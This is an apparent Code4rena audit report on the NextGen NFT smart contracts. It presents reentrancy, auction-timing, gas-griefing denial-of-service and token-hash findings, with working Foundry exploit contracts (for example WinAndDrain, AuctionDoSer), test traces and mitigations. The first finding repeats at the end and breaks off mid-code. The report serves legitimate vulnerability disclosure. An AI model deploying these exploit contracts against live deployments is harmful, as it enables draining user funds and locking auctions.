NextGen - gumgumzum's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227-L232 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L213-L223 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L270

Vulnerability details

Impact

An attacker can :

• Exceed the per address allowance in Fixed Price Sale, Exponential Descending Sale and Linear Descending Sale modes.
• Cause a loss for another user in Burn-to-Mint mode by accepting an offer when onERC721Received is triggered.

Proof of Concept

Test Setup

Init

forge init --no-git --force

foundry.toml config

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/IERC721Receiver.sol";
import "../smart-contracts/AuctionDemo.sol";

contract ReentrantMinter is IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        bytes32[] memory proof;

        operator.call(
            abi.encodeCall(
                NextGenMinterContract.mint,
                (1, 1, 0, "", address(this), proof, address(0), 0)
            )
        );

        return IERC721Receiver.onERC721Received.selector;
    }
}

contract ReentrantSeller is IERC721Receiver {
    address _coreContract;
    address _buyer;
    uint256 _burntToken;

    constructor(address coreContract) {
        _coreContract = coreContract;
    }

    function exploit(address target, address buyer, uint256 tokenId) external {
        _burntToken = tokenId;
        _buyer = buyer;

        target.call(
            abi.encodeCall(
                NextGenMinterContract.burnToMint,
                (1, tokenId, 2, 0)
            )
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        // Simulate sale
        if (_buyer != address(0) && _burntToken != tokenId) {
            _coreContract.call(
                abi.encodeCall(
                    ERC721.transferFrom,
                    (address(this), _buyer, _burntToken)
                )
            );

            _buyer = address(0);
            _burntToken = 0;
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}

contract MinterContractTest is Test {
    NextGenMinterContract public minterContract;
    NextGenAdmins public adminsContract;
    NextGenCore public coreContract;

    DelegationManagementContract public nftDelegationContract;
    NextGenRandomizerNXT public randomizerContract;
    randomPool public randomsContract;

    auctionDemo public auctionContract;

    function setUp() public {
        vm.warp(365 days);
        randomsContract = new randomPool();
        nftDelegationContract = new DelegationManagementContract();
        adminsContract = new NextGenAdmins();
        coreContract = new NextGenCore("Test", "TEST", address(adminsContract));
        minterContract = new NextGenMinterContract(
            address(coreContract),
            address(nftDelegationContract),
            address(adminsContract)
        );
        randomizerContract = new NextGenRandomizerNXT(
            address(randomsContract),
            address(adminsContract),
            address(coreContract)
        );
        coreContract.addMinterContract(address(minterContract));
        auctionContract = new auctionDemo(
            address(minterContract),
            address(coreContract),
            address(adminsContract)
        );

        string[] memory scripts;

        coreContract.createCollection(
            "Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.createCollection(
            "Burn to Mint Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0);
        coreContract.setCollectionData(2, vm.addr(1), 1, 999, 0);

        coreContract.addRandomizer(1, address(randomizerContract));
        coreContract.addRandomizer(2, address(randomizerContract));

        minterContract.initializeBurn(1, 2, true);

        minterContract.setCollectionCosts(
            1,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionCosts(
            2,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionPhases(
            1,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );

        minterContract.setCollectionPhases(
            2,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );
    }

    function testReentrantMint() public {
        ReentrantMinter reentrantMinter = new ReentrantMinter();

        bytes32[] memory proof;

        minterContract.mint(
            1,
            1,
            0,
            "",
            address(reentrantMinter),
            proof,
            address(0),
            0
        );

        assertEq(coreContract.balanceOf(address(reentrantMinter)), 1, "Minted more than allowed");
    }

    function testReentrantSell() public {
        ReentrantSeller reentrantSeller = new ReentrantSeller(address(coreContract));

        bytes32[] memory proof;

        minterContract.mint(
            1,
            1,
            0,
            "",
            address(reentrantSeller),
            proof,
            address(0),
            0
        );

        assertEq(coreContract.balanceOf(address(reentrantSeller)), 1);

        reentrantSeller.exploit(address(minterContract), vm.addr(4), 10000000000);

        assertEq(coreContract.balanceOf(vm.addr(4)), 1, "Token was burned for the buyer");
    }
}

Results

[⠘] Compiling...
No files changed, compilation skipped

Running 2 tests for test/MinterContract.t.sol:MinterContractTest
[FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541)
Logs:
  Error: Minted more than allowed
  Error: a == b not satisfied [uint]
        Left: 341
       Right: 1

[FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607)
Logs:
  Error: Token was burned for the buyer
  Error: a == b not satisfied [uint]
        Left: 0
       Right: 1

Test result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 114.33ms
 
Ran 1 test suites: 0 tests passed, 2 failed, 0 skipped (2 total tests)

Failing tests:
Encountered 2 failing tests in test/MinterContract.t.sol:MinterContractTest
[FAIL. Reason: Assertion failed.] testReentrantMint() (gas: 73499541)
[FAIL. Reason: Assertion failed.] testReentrantSell() (gas: 777607)

Encountered a total of 2 failing tests, 0 tests succeeded

Traces

This shows how the token to be burned is transferred to the buyer in the sale simulation then burned afterwards.

    ├─ [304366] ReentrantSeller::exploit(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) 
    │   ├─ [269503] NextGenMinterContract::burnToMint(1, 10000000000 [1e10], 2, 0) 
    │   │   ├─ [555] NextGenCore::viewTokensIndexMin(1) [staticcall]
    │   │   │   └─ ← 10000000000 [1e10]
    │   │   ├─ [534] NextGenCore::viewTokensIndexMax(1) [staticcall]
    │   │   │   └─ ← 10000000998 [1e10]
    │   │   ├─ [2534] NextGenCore::viewCirSupply(2) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [2555] NextGenCore::viewTokensIndexMin(2) [staticcall]
    │   │   │   └─ ← 20000000000 [2e10]
    │   │   ├─ [2534] NextGenCore::viewTokensIndexMax(2) [staticcall]
    │   │   │   └─ ← 20000000998 [2e10]
    │   │   ├─ [534] NextGenCore::viewCirSupply(2) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [555] NextGenCore::viewTokensIndexMin(2) [staticcall]
    │   │   │   └─ ← 20000000000 [2e10]
    │   │   ├─ [247071] NextGenCore::burnToMint(20000000000 [2e10], 1, 10000000000 [1e10], 2, 0, ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) 
    │   │   │   ├─ [37223] NextGenRandomizerNXT::calculateTokenHash(2, 20000000000 [2e10], 0) 
    │   │   │   │   ├─ [558] randomPool::randomNumber() [staticcall]
    │   │   │   │   │   └─ ← 571
    │   │   │   │   ├─ [8912] randomPool::randomWord() [staticcall]
    │   │   │   │   │   └─ ← Pawpaw
    │   │   │   │   ├─ [24851] NextGenCore::setTokenHash(2, 20000000000 [2e10], 0xc1c05d04c3dea68a6d0a0a90357a1f5369f155b8646b6261e3346c6fd4db4437) 
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← ()
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenId: 20000000000 [2e10])
    │   │   │   ├─ [44464] ReentrantSeller::onERC721Received(NextGenMinterContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000000, 20000000000 [2e10], 0x) 
    │   │   │   │   ├─ [42544] NextGenCore::transferFrom(ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 10000000000 [1e10]) 
    │   │   │   │   │   ├─ emit Transfer(from: ReentrantSeller: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenId: 10000000000 [1e10])
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← 0x150b7a02
    │   │   │   ├─ emit Transfer(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, to: 0x0000000000000000000000000000000000000000, tokenId: 10000000000 [1e10])
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()

Tools Used

Manual review

Recommended Mitigation Steps

Follow the Checks / Effects / Interactions pattern (.e.g update tokensMintedAllowlistAddress/tokensMintedPerAddress before calling _mintProcessing) / add ReentrancyGuard.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L58 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

An attacker to partially / totally drain funds from AuctionDemo.sol leaving not enough / no funds to cover other auctions refunds.

Proof of Concept

participateToAuction, claimAuction, cancelBid and cancelAllBids have overlapping block.timestamp checks. Additionally, claimAuction opens up the door for reentrancy via onERC721Received and receive/fallback.

This means that when block.timestamp equals the auction end time :

1. A winner contract can get the NFT and his bid back :
   • Call claimAuction to claim the NFT
   • Reenter from onERC721Received and call cancelAllBids/cancelBid to get back his bid(s) value
2. A bidder contract can get twice his bid back :
   • Reenter from receive/fallback upon receiving his loosing bid value and call cancelAllBids/cancelBid to get his bid(s) value a second time.
3. An attacker contract can get the NFT and drain the entire balance :
   • Put a first bid with a value of auctionDemo.balance - totalBidsForAuctionedToken.
   • Put a second bid with a value of auctionDemo.balance - totalBidsForAuctionedToken + 1.
   • Call claimAuction.
   • Reenter from receive/fallback upon receiving his loosing bid value and call cancelBid to get his loosing bid value a second time.
   • Reenter from onERC721Received upon receiving the NFT he won and call cancelBid to get back his winning bid value.

// ...

contract auctionDemo is Ownable {
    // ...

    // participate to auction

    function participateToAuction(uint256 _tokenid) public payable {
        require(
            msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid)
                && minter.getAuctionStatus(_tokenid) == true
        );
        // ...
    }

    // ...

    // claim Token After Auction

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid, this.claimAuction.selector) {
        require(
            block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false
                && minter.getAuctionStatus(_tokenid) == true
        );
        
        auctionClaim[_tokenid] = true;

        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);

        for (uint256 i = 0; i < auctionInfoData[_tokenid].length; i++) {
            if (
                auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid
                    && auctionInfoData[_tokenid][i].status == true
            ) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); // <==== Audit : Can reenter here
                (bool success,) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success,) =
                    payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); // <==== Audit : Can reenter here
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

    // cancel a single Bid

    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        // ...
    }

    // cancel All Bids

    function cancelAllBids(uint256 _tokenid) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        // ...
    }
    // ...
}

Test Setup

Init

forge init --no-git --force

foundry.toml config

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/IERC721Receiver.sol";
import "../smart-contracts/AuctionDemo.sol";

contract ReceiveBidAndCancel {
    function participate(address target, uint256 tokenId) external payable {
        target.call{value: msg.value}(
            abi.encodeCall(auctionDemo.participateToAuction, (tokenId))
        );
    }

    receive() external payable {
        msg.sender.call(
            abi.encodeCall(auctionDemo.cancelAllBids, (10000000000))
        );
    }
}

contract WinAndDrain is IERC721Receiver {
    bool _reentered;
    uint256 _bidsCount;

    function exploit(
        address target,
        uint256 tokenId,
        uint256 totalBids,
        uint256 bidsCount
    ) external {
        _bidsCount = bidsCount;
        uint256 balance = target.balance - totalBids;

        target.call{value: balance}(
            abi.encodeCall(auctionDemo.participateToAuction, (tokenId))
        );

        target.call{value: balance + 1}(
            abi.encodeCall(auctionDemo.participateToAuction, (tokenId))
        );

        target.call(abi.encodeCall(auctionDemo.claimAuction, (tokenId)));
    }

    receive() external payable {
        if (!_reentered) {
            _reentered = true;
            msg.sender.call(
                abi.encodeCall(auctionDemo.cancelBid, (10000000000, _bidsCount))
            );
            _reentered = false;
        }
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        _reentered = true;
        operator.call(abi.encodeCall(auctionDemo.cancelBid, (tokenId, _bidsCount + 1)));
        _reentered = false;
        
        return IERC721Receiver.onERC721Received.selector;
    }
}

contract WinAndCancel is IERC721Receiver {
    function claim(address target, uint256 tokenId) external {
        target.call(abi.encodeCall(auctionDemo.claimAuction, (tokenId)));
    }

    function participate(address target, uint256 tokenId) external payable {
        target.call{value: msg.value}(
            abi.encodeCall(auctionDemo.participateToAuction, (tokenId))
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        operator.call(abi.encodeCall(auctionDemo.cancelAllBids, (tokenId)));

        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

contract AuctionDemoTest is Test {
    NextGenMinterContract public minterContract;
    NextGenAdmins public adminsContract;
    NextGenCore public coreContract;

    DelegationManagementContract public nftDelegationContract;
    NextGenRandomizerNXT public randomizerContract;
    randomPool public randomsContract;

    auctionDemo public auctionContract;

    function setUp() public {
        vm.warp(365 days);
        randomsContract = new randomPool();
        nftDelegationContract = new DelegationManagementContract();
        adminsContract = new NextGenAdmins();
        coreContract = new NextGenCore("Test", "TEST", address(adminsContract));
        minterContract = new NextGenMinterContract(
            address(coreContract),
            address(nftDelegationContract),
            address(adminsContract)
        );
        randomizerContract = new NextGenRandomizerNXT(
            address(randomsContract),
            address(adminsContract),
            address(coreContract)
        );
        coreContract.addMinterContract(address(minterContract));
        auctionContract = new auctionDemo(
            address(minterContract),
            address(coreContract),
            address(adminsContract)
        );

        string[] memory scripts;

        coreContract.createCollection(
            "Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0);

        coreContract.addRandomizer(1, address(randomizerContract));

        minterContract.setCollectionCosts(
            1,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionPhases(
            1,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );
    }

    function testWinAndCancel() public {
        WinAndCancel winAndCancel = new WinAndCancel();

        minterContract.mintAndAuction(
            vm.addr(2),
            "",
            0,
            1,
            block.timestamp + 1 days
        );

        vm.prank(vm.addr(2));
        coreContract.setApprovalForAll(address(auctionContract), true);

        vm.deal(address(auctionContract), 1 ether);
        vm.deal(vm.addr(3), 1 ether);
        vm.startPrank(vm.addr(3));
        winAndCancel.participate{value: 1 ether}(
            address(auctionContract),
            10000000000
        );

        skip(1 days);

        uint256 balanceBefore = address(this).balance;

        winAndCancel.claim(address(auctionContract), 10000000000);

        assertEq(
            address(this).balance,
            balanceBefore,
            "Other bidders funds were sent to owner"
        );
        assertEq(address(winAndCancel).balance, 0, "Winner got his bid back");
        assertNotEq(
            coreContract.ownerOf(10000000000),
            address(winAndCancel),
            "Winner got the NFT too"
        );
    }


    function testReceiveBidAndCancel() public {
        ReceiveBidAndCancel receiveBidAndCancel = new ReceiveBidAndCancel();

        minterContract.mintAndAuction(
            vm.addr(2),
            "",
            0,
            1,
            block.timestamp + 1 days
        );

        vm.prank(vm.addr(2));
        coreContract.setApprovalForAll(address(auctionContract), true);

        vm.deal(vm.addr(4), 0.5 ether);
        vm.prank(vm.addr(4));
        receiveBidAndCancel.participate{value: 0.5 ether}(
            address(auctionContract),
            10000000000
        );

        vm.deal(vm.addr(3), 1 ether);
        vm.prank(vm.addr(3));
        auctionContract.participateToAuction{value: 1 ether}(10000000000);

        skip(1 days);

        vm.prank(vm.addr(3));

        auctionContract.claimAuction(10000000000);

        assertEq(address(receiveBidAndCancel).balance, 0.5 ether, "Loosing bidder got more than his bid back");
    }

    function testWinAndDrain() public {
        WinAndDrain winAndDrain = new WinAndDrain();

        minterContract.mintAndAuction(
            vm.addr(2),
            "",
            0,
            1,
            block.timestamp + 1 days
        );

        vm.prank(vm.addr(2));
        coreContract.setApprovalForAll(address(auctionContract), true);

        vm.deal(address(auctionContract), 1000 ether); // simulated other ongoing auctions

        vm.deal(address(winAndDrain), 2000 ether + 1);

        // Other participants
        vm.deal(vm.addr(3), 1 ether);
        vm.prank(vm.addr(3));
        auctionContract.participateToAuction{value: 1 ether}(10000000000);

        skip(1 days);

        // Compute current total bids for the token
        auctionDemo.auctionInfoStru[] memory currentBids = auctionContract
            .returnBids(10000000000);

        uint256 totalBids;
        for (uint256 i; i < currentBids.length; i++) {
            totalBids += currentBids[i].status ? currentBids[i].bid : 0;
        }

        winAndDrain.exploit(address(auctionContract), 10000000000, totalBids, currentBids.length);

        assertEq(address(winAndDrain).balance, 1000 ether, "Should only have his loosing bid value");
        assertEq(address(auctionContract).balance, 1000 ether, "Auction contract was drained");
    }

    fallback() external payable {}
    receive() external payable {}
}

Results

[⠒] Compiling...
No files changed, compilation skipped

Running 3 tests for test/AuctionDemo2.t.sol:AuctionDemo2Test
[FAIL. Reason: Assertion failed.] testReceiveBidAndCancel() (gas: 808144)
Logs:
  Error: Loosing bidder got more than his bid back
  Error: a == b not satisfied [uint]
        Left: 1000000000000000000
       Right: 500000000000000000

[FAIL. Reason: Assertion failed.] testWinAndCancel() (gas: 823697)
Logs:
  Error: Other bidders funds were sent to owner
  Error: a == b not satisfied [uint]
        Left: 79228162515264337593543950335
       Right: 79228162514264337593543950335
  Error: Winner got his bid back
  Error: a == b not satisfied [uint]
        Left: 1000000000000000000
       Right: 0
  Error: Winner got the NFT too
  Error: a != b not satisfied [address]
        Left: 0xa4ad4f68d0b91cfd19687c881e50f3a00242828c
       Right: 0xa4ad4f68d0b91cfd19687c881e50f3a00242828c

[FAIL. Reason: Assertion failed.] testWinAndDrain() (gas: 1136559)
Logs:
  Error: Should only have his loosing bid value
  Error: a == b not satisfied [uint]
        Left: 3000000000000000000001
       Right: 1000000000000000000000
  Error: Auction contract was drained
  Error: a == b not satisfied [uint]
        Left: 0
       Right: 1000000000000000000000

Test result: FAILED. 0 passed; 3 failed; 0 skipped; finished in 5.96ms
 
Ran 1 test suites: 0 tests passed, 3 failed, 0 skipped (3 total tests)

Failing tests:
Encountered 3 failing tests in test/AuctionDemo2.t.sol:AuctionDemo2Test
[FAIL. Reason: Assertion failed.] testReceiveBidAndCancel() (gas: 808144)
[FAIL. Reason: Assertion failed.] testWinAndCancel() (gas: 823697)
[FAIL. Reason: Assertion failed.] testWinAndDrain() (gas: 1136559)

Encountered a total of 3 failing tests, 0 tests succeeded

Tools Used

Manual Review

Recommended Mitigation Steps

Fix the block.timestamp check in claimAuction.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

After the auction ends :

• Auction winner is not able to claim his NFT.
• Admin is not able to get the highest bid value.
• Other active bidders are not able to get the value of their bids back.
• Funds for the auction are locked forever as there is no emergency withdrawal mechanic.

Proof of Concept

This can be executed in a similar manner by both the winner (via onERC721Received) or a bidder (via receive / fallback) but I will only focus on the latter in the tests.

The attacker can create one or multiple low value bids from a contract that either consumes all forwarded gas or returns/reverts with an oversized data (to make the caller consume gas storing it in memory) when its fallback is triggered.

Test Setup

Init

forge init --no-git --force

foundry.toml config

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/IERC721Receiver.sol";
import "../smart-contracts/AuctionDemo.sol";

contract AuctionDoSer {
    function participate(address target, uint256 tokenId) external payable {
        target.call{value: msg.value}(
            abi.encodeCall(auctionDemo.participateToAuction, (tokenId))
        );
    }

    receive() external payable {
        while (true) {}
    }
    
    // Alternatively, return as much data as possible without running out of gas
    // receive() external payable {
    //     uint256 rsize = sqrt((gasleft() / 2) * 512);
    //     assembly {
    //         return(0x0, mul(rsize, 0x20))
    //     }
    // }

    // function sqrt(uint x) private returns (uint y) {
    //     uint z = (x + 1) / 2;
    //     y = x;
    //     while (z < y) {
    //         y = z;
    //         z = (x / z + z) / 2;
    //     }
    // }
}

contract AuctionDemoTest is Test {
    NextGenMinterContract public minterContract;
    NextGenAdmins public adminsContract;
    NextGenCore public coreContract;

    DelegationManagementContract public nftDelegationContract;
    NextGenRandomizerNXT public randomizerContract;
    randomPool public randomsContract;

    auctionDemo public auctionContract;

    function setUp() public {
        vm.warp(365 days);
        randomsContract = new randomPool();
        nftDelegationContract = new DelegationManagementContract();
        adminsContract = new NextGenAdmins();
        coreContract = new NextGenCore("Test", "TEST", address(adminsContract));
        minterContract = new NextGenMinterContract(
            address(coreContract),
            address(nftDelegationContract),
            address(adminsContract)
        );
        randomizerContract = new NextGenRandomizerNXT(
            address(randomsContract),
            address(adminsContract),
            address(coreContract)
        );
        coreContract.addMinterContract(address(minterContract));
        auctionContract = new auctionDemo(
            address(minterContract),
            address(coreContract),
            address(adminsContract)
        );

        string[] memory scripts;

        coreContract.createCollection(
            "Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0);

        coreContract.addRandomizer(1, address(randomizerContract));

        minterContract.setCollectionCosts(
            1,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionPhases(
            1,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );
    }

    function testAuctionDoS() public {
        AuctionDoSer auctionDoSer = new AuctionDoSer();

        minterContract.mintAndAuction(
            vm.addr(2),
            "",
            0,
            1,
            block.timestamp + 1 days
        );

        vm.prank(vm.addr(2));
        coreContract.setApprovalForAll(address(auctionContract), true);

        vm.deal(vm.addr(4), 1 ether);
        vm.prank(vm.addr(4));
        auctionDoSer.participate{value: 1 wei}(
            address(auctionContract),
            10000000000
        );

        vm.deal(vm.addr(3), 1 ether);
        vm.prank(vm.addr(3));
        auctionContract.participateToAuction{value: 1 ether}(10000000000);

        skip(1 days);

        vm.prank(vm.addr(3));
        auctionContract.claimAuction{gas: 1500000}(10000000000);
    }

    fallback() external payable {}
    receive() external payable {}
}

Traces

    ├─ [1499758] auctionDemo::claimAuction(10000000000 [1e10]) 
    │   ├─ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    │   │   └─ ← 31622400 [3.162e7]
    │   ├─ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    │   │   └─ ← true
    │   ├─ [625] NextGenCore::ownerOf(10000000000 [1e10]) [staticcall]
    │   │   └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
    │   ├─ [1430339] AuctionDoSer::receive{value: 1}() 
    │   │   └─ ← "EvmError: OutOfGas"
    │   ├─ emit Refund(_add: AuctionDoSer: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: false, funds: 1000000000000000000 [1e18])
    │   ├─ [4268] NextGenCore::safeTransferFrom(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 10000000000 [1e10]) 
    │   │   └─ ← "EvmError: OutOfGas"
    │   └─ ← "EvmError: Revert"
    └─ ← "EvmError: Revert"

Tools Used

Manual Review

Recommended Mitigation Steps

• Use transferFrom instead of safeTransferFrom to send the NFT to the winner
• Use an assembly call for ETH transfers to avoid copying huge return data into memory and only forward enough gas for the operation to complete.

References

• https://github.com/ethereum/solidity/issues/12306
• https://github.com/nomad-xyz/ExcessivelySafeCall

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerVRF.sol#L66 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerRNG.sol#L49

Vulnerability details

Impact

Token hash will be set to the first generated random number regardless of how many were generated or the token id, possibly leading to different tokens having the same hash.

Proof of Concept

    // RandomizerVRF.sol
    function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
        gencoreContract.setTokenHash(
            tokenIdToCollection[requestToToken[_requestId]],
            requestToToken[_requestId],
            bytes32(abi.encodePacked(_randomWords, requestToToken[_requestId])) // <====
        );
        emit RequestFulfilled(_requestId, _randomWords);
    }

    // RandomizerRNG.sol
    function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
        gencoreContract.setTokenHash(
            tokenIdToCollection[requestToToken[id]],
            requestToToken[id],
            bytes32(abi.encodePacked(numbers, requestToToken[id])) // <====
        );
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Use keccak256 instead of bytes32 to compute the hash (similar to what's done in RandomizerNXT.sol).

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L227-L232 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L213-L223 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L270

Vulnerability details

Impact

An attacker can :

• Exceed the per address allowance in Fixed Price Sale, Exponential Descending Sale and Linear Descending Sale modes.
• Cause a loss for another user in Burn-to-Mint mode by accepting an offer when onERC721Received is triggered.

Proof of Concept

Test Setup

Init

forge init --no-git --force

foundry.toml config

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/IERC721Receiver.sol";
import "../smart-contracts/AuctionDemo.sol";

contract ReentrantMinter is IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        bytes32[] memory proof;

        operator.call(
            abi.encodeCall(
                NextGenMinterContract.mint,
                (1, 1, 0, "", address(this), proof, address(0), 0)
            )
        );

        return IERC721Receiver.onERC721Received.selector;
    }
}

contract ReentrantSeller is IERC721Receiver {
    address _coreContract;
    address _buyer;
    uint256 _burntToken;

    constructor(address coreContract) {
        _coreContract = coreContract;
    }

    function exploit(address target, address buyer, uint256 tokenId) external {
        _burntToken = tokenId;
        _buyer = buyer;

        target.call(
            abi.encodeCall(
                NextGenMinterContract.burnToMint,
                (1, tokenId, 2, 0)
            )
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        // Simulate sale
        if (_buyer != address(0) && _burntToken != tokenId) {
            _coreContract.call(
                abi.encodeCall(
